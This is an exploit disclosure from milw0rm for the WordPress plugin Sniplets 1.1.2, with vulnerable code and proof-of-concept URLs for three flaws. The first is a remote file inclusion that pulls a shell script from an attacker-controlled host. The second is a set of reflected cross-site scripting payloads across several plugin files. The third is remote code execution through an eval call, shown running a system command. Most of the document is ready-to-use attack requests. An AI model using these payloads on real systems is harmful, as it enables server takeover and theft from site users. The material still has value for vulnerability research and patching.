WordPress Plugin Sniplets 1.1.2 - Remote File Inclusion / Cross-Site Scripting / Remote Code Execution



Author:

NBBN

Type:

webapps


Platform:

PHP

Date:

2008-02-26


########################
Wordpress Plugin Sniplets 1.1.2 Multiple Vulnerabilities by NBBN
########################
1) Remote File Inclusion

File: /modules/syntax_highlight.php
Register Globals: ON
Vuln code:
<?php

/* Name: Syntax Highlight */
include_once ("$libpath/geshi/geshi.php");

Poc:
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=http://attacker.tld/shell.txt?




2) Cross-Site Scripting

Register Globals: ON
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/notice.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/inset.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/submenu.php?url=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3Cli%3E

Register Globals: Off

Vuln Line:(3) <input type="hidden" name="page" value="<?php echo 
$_GET['page'] ?>"/>
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/pager.php?page=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E


3) Remote Code Execution

Register Globals: ON
Code: 
<?php
/* Name: Execute as PHP */
if (substr ($text, 0, 4) == '<?php')
	$text = '?>'.$text;

eval ('?>'.$text);
?>

Poc: 
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3C?php%20system(%22ls%22);

# milw0rm.com [2008-02-26]